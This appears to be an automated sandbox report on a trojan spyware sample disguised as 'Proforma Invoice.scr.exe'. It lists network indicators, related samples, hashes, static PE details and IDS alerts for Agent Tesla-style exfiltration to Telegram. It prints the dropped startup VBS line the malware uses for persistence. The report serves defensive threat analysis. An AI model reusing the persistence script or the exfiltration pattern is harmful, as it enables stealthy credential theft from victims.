https://geocs.mx	Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002571000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002B91000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mgravell/protobuf-net	Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.ipify.org/t	InstallUtil.exe, 00000003.00000002.2755078286.0000000002871000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000284C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://api.telegram.org	InstallUtil.exe, 00000003.00000002.2755078286.00000000028F4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.000000000296B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.00000000028C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000294D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002571000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.0000000002871000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000284C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
173.237.185.182	geocs.mx	United States	394094	INTELLECTICA-US	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545982
Start date and time:	2024-10-31 11:13:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Proforma Invoice.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@8/3@4/3
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 95% Number of executed functions: 275 Number of non-executed functions: 10
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, azurefd-t-fb-prod.trafficmanager.net, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Proforma Invoice.scr.exe, PID 4000 because it is empty
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Proforma Invoice.scr.exe

Simulations

Behavior and APIs

Time	Type	Description
06:14:04	API Interceptor	51x Sleep call for process: Proforma Invoice.scr.exe modified
06:14:32	API Interceptor	11491x Sleep call for process: InstallUtil.exe modified
06:14:37	API Interceptor	38x Sleep call for process: EncoderFallback.exe modified
11:14:26	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
173.237.185.182	INQ-40152.scr	Get hash	malicious	Unknown	Browse
	RFQ-2413AM-KE2800.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PO No. 24156.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	PO 0087900.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	RFQ-00032035.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	RFQ-00032035.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	RFQ -SCHOTTEL Type SRP200.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	invoice.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	New-Order534211.scr.exe	Get hash	malicious	Unknown	Browse
149.154.167.220	MP2318GJ-P 18000pcs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	clipper.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Invoices.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	FERRO FAB INV.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.28177.5145.exe	Get hash	malicious	DarkCloud	Browse
	PRESUPUESTO DE NOVIEMBRE...exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PO Number- 4900003753.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	Purchase Order 17025.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
104.26.13.205	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geocs.mx	INQ-40152.scr	Get hash	malicious	Unknown	Browse	173.237.185.182
	RFQ-2413AM-KE2800.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182
	PO No. 24156.scr.exe	Get hash	malicious	Snake Keylogger	Browse	173.237.185.182
	PO 0087900.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182
	RFQ-00032035.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	173.237.185.182
	RFQ-00032035.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182
	RFQ -SCHOTTEL Type SRP200.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182
	invoice.scr.exe	Get hash	malicious	Snake Keylogger	Browse	173.237.185.182
	New-Order534211.scr.exe	Get hash	malicious	Unknown	Browse	173.237.185.182
s-part-0017.t-0009.fb-t-msedge.net	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s599af221dbfd41b9a607812ebc66d2cf&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VpSHltbG45MjdsQnBnZUJMcnhtMHM4QjRNbHFPTTJWd0ZlQTFNLWNhZ0lnRkE_ZT1aak8wczY&wd=target%28Sezione%20senza%20titolo.one%7C99ad2a4b-5ecc-495f-9ce8-040ac62eb8f2%2F%5BExternal%5D%20-%20Invoice%20%27s%208808-%7C9e6e973e-3cda-429a-a28f-c51dc242e5b1%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	13.107.253.45
	PROFORMA FATURA pdf.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.253.45
	Orden de compra.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.45
	whatsappjpg.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	13.107.253.45
	http://www.thearchiterra.gr/	Get hash	malicious	Unknown	Browse	13.107.253.45
	UCLouvain.onepkg	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://www.kwconnect.com/redirect?url=https%3A%2F%2Fwww.ingenieriawj.com/trx/#XdGFtYXJhLnBlcmVpcmFkZWplc3VzQGRhaWljaGktc2Fua3lvLmV1	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	67JPbskewt.exe	Get hash	malicious	Unknown	Browse	13.107.253.45
	Receipt.htm	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://1rkzzyapew.beefreedesign.com/EfTl-assets-eurmktdynamics	Get hash	malicious	Unknown	Browse	13.107.253.45
api.ipify.org	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	#Uad6c#Ub9e4 #Uc8fc#Ubb38 658749 #Ubc0f 658752..exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	https://www.canva.com/design/DAGVD7_HMvQ/PFkDB3TDx6Ru4nNALhSqqQ/view?utm_content=DAGVD7_HMvQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.26.13.205
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	https://schiller.life/	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	SecuriteInfo.com.Win32.PWSX-gen.31738.17793.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Biocon-In-Service Agreement.pdf	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	skuld3.exe	Get hash	malicious	Skuld Stealer	Browse	104.26.13.205
	Shipping documents 00039984849900044800.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	MP2318GJ-P 18000pcs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	clipper.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Invoices.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FERRO FAB INV.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.28177.5145.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	PRESUPUESTO DE NOVIEMBRE...exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PO Number- 4900003753.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Purchase Order 17025.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	149.154.167.99
CLOUDFLARENETUS	http://www.thearchiterra.gr/	Get hash	malicious	Unknown	Browse	104.17.25.14
	MP2318GJ-P 18000pcs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	hesaphareketi-01.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	https://dzentec-my.sharepoint.com/:u:/g/personal/i_lahmer_entec-dz_com/EdYp5IxQ-uxJivnPAqSzv40BZiCX7sphz7Kj8JDyRBKqpQ?e=wqutC4	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s599af221dbfd41b9a607812ebc66d2cf&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VpSHltbG45MjdsQnBnZUJMcnhtMHM4QjRNbHFPTTJWd0ZlQTFNLWNhZ0lnRkE_ZT1aak8wczY&wd=target%28Sezione%20senza%20titolo.one%7C99ad2a4b-5ecc-495f-9ce8-040ac62eb8f2%2F%5BExternal%5D%20-%20Invoice%20%27s%208808-%7C9e6e973e-3cda-429a-a28f-c51dc242e5b1%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	104.21.14.84
	Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	PROFORMA FATURA pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	http://www.thearchiterra.gr/	Get hash	malicious	Unknown	Browse	104.17.25.14
	clipper.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
INTELLECTICA-US	INQ-40152.scr	Get hash	malicious	Unknown	Browse	173.237.185.182
	RFQ-2413AM-KE2800.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182
	PO No. 24156.scr.exe	Get hash	malicious	Snake Keylogger	Browse	173.237.185.182
	PO 0087900.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182
	RFQ-00032035.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	173.237.185.182
	RFQ-00032035.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182
	RFQ -SCHOTTEL Type SRP200.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182
	invoice.scr.exe	Get hash	malicious	Snake Keylogger	Browse	173.237.185.182
	New-Order534211.scr.exe	Get hash	malicious	Unknown	Browse	173.237.185.182

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	MP2318GJ-P 18000pcs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182 149.154.167.220 104.26.13.205
	Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	173.237.185.182 149.154.167.220 104.26.13.205
	clipper.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	173.237.185.182 149.154.167.220 104.26.13.205
	Invoices.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182 149.154.167.220 104.26.13.205
	FERRO FAB INV.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182 149.154.167.220 104.26.13.205
	#Uad6c#Ub9e4 #Uc8fc#Ubb38 658749 #Ubc0f 658752..exe	Get hash	malicious	AgentTesla	Browse	173.237.185.182 149.154.167.220 104.26.13.205
	https://invite.bublup.com/q6fU7gLtMrfS	Get hash	malicious	HTMLPhisher	Browse	173.237.185.182 149.154.167.220 104.26.13.205
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	173.237.185.182 149.154.167.220 104.26.13.205
	PRESUPUESTO DE NOVIEMBRE...exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	173.237.185.182 149.154.167.220 104.26.13.205
	PO Number- 4900003753.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	173.237.185.182 149.154.167.220 104.26.13.205

Process:	C:\Users\user\Desktop\Proforma Invoice.scr.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	4.715172253794978
Encrypted:	false
SSDEEP:	192:Z6F7KvWISi8OXTjyr4mikpAfQZz/IJCKVxmy:ZZNSEDjyHikpAIZz/In
MD5:	3EFCF6123CC2697D54BE8E8D17F70EB6
SHA1:	194D4304E6FBEA7BCC5203D9F5DD7C0883277FB1
SHA-256:	A05ACADB64D5923E931A42AECCA755B6A160B39F96EC1BFF8611CD5116B4C926
SHA-512:	73AC5727E012611904CA6BE764A92DB67CBEA082CDACA37017E1B6DB04FEE6BAE884AAF82DCF4EB36094012463DCFD0B5BEECFC36048D87DB01F17DAFE7C32A9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M.!g....................."......>.... ...@....@.. ....................................`..................................-..O....@.......................`....................................................... ............... ..H............text...D.... ...................... ..`.rsrc........@... ..................@..@.reloc.......`.......2..............@..B................ .......H.......0"...............................................................~....%:....&~..........s....%.....s....(.....s...........(.......0..N..........s....r...ps....(....o..........&.....9....(......rQ..p(....o.....r...p(....o......o.....o....o.....s..........s ...........io!.....o".....+.....9......o#......9......o#.....9.....o#.......($.....s%...%r...po&...%r)..po&.......o'...o(...9Y.....o)........8@...............$...(........o+...(,...(...+o....&.....&........X.....

C:\Users\user\AppData\Roaming\EncoderFallback.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Proforma Invoice.scr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs

Download File

Process:	C:\Users\user\Desktop\Proforma Invoice.scr.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.768652287031278
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoN+EaKC5aHE1NHn:FER/lFHIN7aZ5aHEX
MD5:	F518BAF451028C74555DE83F663A00C5
SHA1:	8D58AEC0203829C98C7D9145E1F0B2295B5AB54F
SHA-256:	D0B9F1092C93EA673161222345C664A92E6D19937748DEA7950DE5AD1D545C5D
SHA-512:	A23E718787E5095ED8F5567C693C5492B9A9E0215D46000A28EBD6566D34C25E8378C1E93323B996B710AF6CE011C8347F95472061F90024C46B717C6BECA426
Malicious:	true
Reputation:	low
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\EncoderFallback.exe"""

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.715172253794978
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Proforma Invoice.scr.exe
File size:	13'312 bytes
MD5:	3efcf6123cc2697d54be8e8d17f70eb6
SHA1:	194d4304e6fbea7bcc5203d9f5dd7c0883277fb1
SHA256:	a05acadb64d5923e931a42aecca755b6a160b39f96ec1bff8611cd5116b4c926
SHA512:	73ac5727e012611904ca6be764a92db67cbea082cdaca37017e1b6db04fee6bae884aaf82dcf4eb36094012463dcfd0b5beecfc36048d87db01f17dafe7c32a9
SSDEEP:	192:Z6F7KvWISi8OXTjyr4mikpAfQZz/IJCKVxmy:ZZNSEDjyHikpAIZz/In
TLSH:	F8522714B3658726CCD54BF25EE3C3342370E745BA87DB1E76C22A0F7D953026822B95
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M.!g....................."......>.... ...@....@.. ....................................`................................

File Icon


Icon Hash:	70cccc8692968ec8

Static PE Info

General

Entrypoint:	0x402e3e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67210A4D [Tue Oct 29 16:16:13 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2dec	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x1eba	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xe44	0x1000	f0079c6edf29c5a0603144764e541d27	False	0.537109375	data	5.0499331097335824	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x1eba	0x2000	0e5638f12d047e611bf41ac2fa3baa56	False	0.3956298828125	data	4.618045605339171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	103696a02112831d849604d6b00ad7ae	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x4130	0x1870	Device independent bitmap graphic, 35 x 84 x 32, image size 5880	0.4040920716112532
RT_GROUP_ICON	0x59a0	0x14	data	1.1
RT_VERSION	0x59b4	0x31c	data	0.43090452261306533
RT_MANIFEST	0x5cd0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T11:14:22.467203+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.6	49818	TCP
2024-10-31T11:14:34.440817+0100	2851779	ETPRO MALWARE Agent Tesla Telegram Exfil	1	192.168.2.6	49879	149.154.167.220	443	TCP
2024-10-31T11:14:34.440817+0100	2852815	ETPRO MALWARE Agent Tesla Telegram Exfil M2	1	192.168.2.6	49879	149.154.167.220	443	TCP
2024-10-31T11:14:36.494538+0100	2852815	ETPRO MALWARE Agent Tesla Telegram Exfil M2	1	192.168.2.6	49890	149.154.167.220	443	TCP
2024-10-31T11:14:51.363526+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.6	51758	TCP
2024-10-31T11:14:58.092083+0100	2851779	ETPRO MALWARE Agent Tesla Telegram Exfil	1	192.168.2.6	51775	149.154.167.220	443	TCP
2024-10-31T11:14:58.092083+0100	2852815	ETPRO MALWARE Agent Tesla Telegram Exfil M2	1	192.168.2.6	51775	149.154.167.220	443	TCP
2024-10-31T11:14:59.486489+0100	2852815	ETPRO MALWARE Agent Tesla Telegram Exfil M2	1	192.168.2.6	51776	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 11:14:06.311638117 CET	49737	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:06.311666965 CET	443	49737	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:06.311743021 CET	49737	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:06.756143093 CET	49737	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:06.756161928 CET	443	49737	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:07.390291929 CET	443	49737	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:07.390443087 CET	49737	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:07.487104893 CET	49737	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:07.487128973 CET	443	49737	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:07.487484932 CET	443	49737	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:07.533545971 CET	49737	443	192.168.2.6	173.237.185.182
